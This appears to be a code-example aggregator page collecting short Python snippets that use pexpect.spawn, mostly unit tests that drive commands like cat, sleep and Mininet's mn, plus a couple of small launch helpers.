 def test_terminate(self):
     " test force terminate always succeeds (SIGKILL). "
     child = pexpect.spawn('cat')
     child.terminate(force=1)
     assert child.terminated
 def testBenchmark(self):
     "Run benchmark and verify that it takes less than 2 seconds"
     p = pexpect.spawn('mn --test none')
     p.expect('completed in ([\d\.]+) seconds')
     time = float(p.match.group(1))
     self.assertTrue(time < 2, 'Benchmark takes more than 2 seconds')
Example #56
0
 def test_write(self):
     " write a character and return it in return. "
     child = pexpect.spawn('cat', echo=False)
     child.write('a')
     child.write('\r')
     self.assertEqual(child.readline(), b'a\r\n')
Example #57
0
def launch(directory, cmd):
    return pexpect.spawn(cmd, cwd=directory, logfile=sys.stdout, timeout=120)
Example #58
0
 def test_read_poll_timeout(self):
     " Test use_poll properly times out "
     child = pexpect.spawn('sleep 5', use_poll=True)
     with self.assertRaises(pexpect.TIMEOUT):
         child.expect(pexpect.EOF, timeout=1)
Example #59
0
def cus_exec(cmdline):
    child = pexpect.spawn(cmdline)
    return child.before
 def testHelp(self):
     "Check the usage message"
     p = pexpect.spawn('mn -h')
     index = p.expect(['Usage: mn', pexpect.EOF])
     self.assertEqual(index, 0)